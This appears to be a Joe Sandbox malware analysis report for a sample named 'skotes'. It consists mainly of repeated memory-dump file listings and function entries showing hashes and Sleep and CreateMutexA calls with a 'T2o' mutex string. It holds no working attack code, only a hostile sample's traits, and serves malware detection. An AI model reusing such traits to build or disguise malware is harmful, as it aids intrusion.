Associated: 00000002.00000002.2310802669.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310817843.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310836503.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310851449.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310868842.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310884881.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310908123.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310925434.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310943679.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310963193.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310981224.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310998973.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311018419.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311037778.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311052250.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311068907.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311087153.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311110738.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311128832.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311148034.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311166818.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311184463.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311206565.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311221539.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311240106.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311255567.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311255567.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311306441.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311320909.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311337615.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311352481.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311374544.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311396158.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: fcf1ead6b8b4cbe4c5ea319f6e849bdd09b845699d4ad88fb12a0417444cabb6
Instruction ID: ef39d1cebc0042485dc19b32d9799831e2ed0368eb82d71770341ecf3419f078
Opcode Fuzzy Hash: fcf1ead6b8b4cbe4c5ea319f6e849bdd09b845699d4ad88fb12a0417444cabb6
Instruction Fuzzy Hash: 9CE08630001148AFCE25BF14C859EA83B5AEF11749F900818F80886222CB75ED42C648

Function 00699BA5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0069A963
CreateMutexA.KERNELBASE(00000000,00000000,006F3254), ref: 0069A981

Strings

T2o, xrefs: 0069A970

Memory Dump Source

Source File: 00000002.00000002.2310380497.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000002.00000002.2310362606.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310380497.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310440680.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310459821.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310480195.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310578878.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310597404.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310616397.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310632940.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310649956.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310649956.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310689049.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310708966.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310726399.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310744767.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310761898.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310779161.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310802669.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310817843.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310836503.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310851449.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310868842.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310884881.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310908123.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310925434.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310943679.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310963193.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310981224.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310998973.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311018419.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311037778.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311052250.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311068907.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311087153.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311110738.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311128832.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311148034.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311166818.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311184463.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311206565.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311221539.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311240106.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311255567.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311255567.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311306441.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311320909.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311337615.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311352481.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311374544.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311396158.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2o
API String ID: 1464230837-2760472518
Opcode ID: 39b0532c68d778586eefcf8bad412da76e1c7c11fbd42c2ffe3f0221e999a01c
Instruction ID: 0366bde5049348e4328e7ed5e6fbe9330464c02b07133d7c8249da831b4bcde5
Opcode Fuzzy Hash: 39b0532c68d778586eefcf8bad412da76e1c7c11fbd42c2ffe3f0221e999a01c
Instruction Fuzzy Hash: 90312931A04144CBEF08ABBCDCC976DBAABABC2314F24425CE1149BBD5CB755A818761

Function 00699F44 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0069A963
CreateMutexA.KERNELBASE(00000000,00000000,006F3254), ref: 0069A981

Strings

T2o, xrefs: 0069A970

Memory Dump Source

Source File: 00000002.00000002.2310380497.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000002.00000002.2310362606.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310380497.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310440680.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310459821.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310480195.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310578878.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310597404.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310616397.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310632940.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310649956.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310649956.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310689049.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310708966.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310726399.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310744767.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310761898.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310779161.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310802669.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310817843.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310836503.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310851449.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310868842.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310884881.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310908123.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310925434.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310943679.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310963193.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310981224.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310998973.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311018419.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311037778.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311052250.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311068907.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311087153.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311110738.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311128832.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311148034.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311166818.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311184463.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311206565.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311221539.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311240106.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311255567.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311255567.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311306441.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311320909.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311337615.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311352481.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311374544.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311396158.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2o
API String ID: 1464230837-2760472518
Opcode ID: 2ae36c2484c830ec114aedf246bd3fecda75918ccc23fa0042c2d94511840f15
Instruction ID: 6edad8b0eeeb0b0f905f4b8abfac682e62a55559cc002568533095b67b3b227c
Opcode Fuzzy Hash: 2ae36c2484c830ec114aedf246bd3fecda75918ccc23fa0042c2d94511840f15
Instruction Fuzzy Hash: 5F3127316001448BFF089BACCC887ACBAA7EBC5314F20461CE414DBBD5CB7559818762

Function 0069A079 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0069A963
CreateMutexA.KERNELBASE(00000000,00000000,006F3254), ref: 0069A981

Strings

T2o, xrefs: 0069A970

Memory Dump Source

Source File: 00000002.00000002.2310380497.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000002.00000002.2310362606.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310380497.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310440680.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310459821.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310480195.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310578878.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310597404.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310616397.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310632940.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310649956.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310649956.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310689049.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310708966.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310726399.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310744767.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310761898.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310779161.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310802669.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310817843.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310836503.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310851449.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310868842.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310884881.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310908123.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310925434.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310943679.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310963193.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310981224.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310998973.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311018419.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311037778.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311052250.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311068907.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311087153.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311110738.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311128832.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311148034.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311166818.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311184463.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311206565.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311221539.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311240106.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311255567.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311255567.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311306441.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311320909.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311337615.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311352481.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311374544.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311396158.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2o
API String ID: 1464230837-2760472518
Opcode ID: 87522d06c81f2c95ece0958fd1a9a90da034b371720cff7325fe8669ce662750
Instruction ID: d6afdf63be37c47740ace464d3a551eb400c0aade0f9f0818c8a3d45999f8526
Opcode Fuzzy Hash: 87522d06c81f2c95ece0958fd1a9a90da034b371720cff7325fe8669ce662750
Instruction Fuzzy Hash: 81312A31B101449BFF089BFCCD85B6DBBA7EBC1314F244218E1149BBD5CB7559818796

Function 0069A1AE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0069A963
CreateMutexA.KERNELBASE(00000000,00000000,006F3254), ref: 0069A981

Strings

T2o, xrefs: 0069A970

Memory Dump Source

Source File: 00000002.00000002.2310380497.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000002.00000002.2310362606.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310380497.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310440680.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310459821.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310480195.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310578878.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310597404.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310616397.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310632940.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310649956.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310649956.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310689049.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310708966.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310726399.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310744767.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310761898.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310779161.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310802669.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310817843.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310836503.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310851449.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310868842.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310884881.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310908123.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310925434.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310943679.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310963193.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310981224.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310998973.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311018419.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311037778.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311052250.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311068907.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311087153.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311110738.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311128832.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311148034.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311166818.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311184463.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311206565.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311221539.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311240106.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311255567.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311255567.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311306441.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311320909.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311337615.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311352481.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311374544.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2311396158.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2o
API String ID: 1464230837-2760472518
Opcode ID: 118891223f66c982ccf93e6b631a7a23687d13c47e72a238ad1103fbfade7a25
Instruction ID: 22444c68dd797e28e46fe7be16261b01325bae30dc40926cfe8171e817c93a76
Opcode Fuzzy Hash: 118891223f66c982ccf93e6b631a7a23687d13c47e72a238ad1103fbfade7a25
Instruction Fuzzy Hash: AE312931B001449FFF089BECDC89B6DB7A7EBC6310F244218E1149BBD5DB755A808796

Function 0069A418 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0069A963
CreateMutexA.KERNELBASE(00000000,00000000,006F3254), ref: 0069A981

Strings

T2o, xrefs: 0069A970

Memory Dump Source

Source File: 00000002.00000002.2310380497.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000002.00000002.2310362606.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310380497.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310440680.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310459821.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310480195.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310578878.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310597404.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310616397.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310632940.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310649956.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
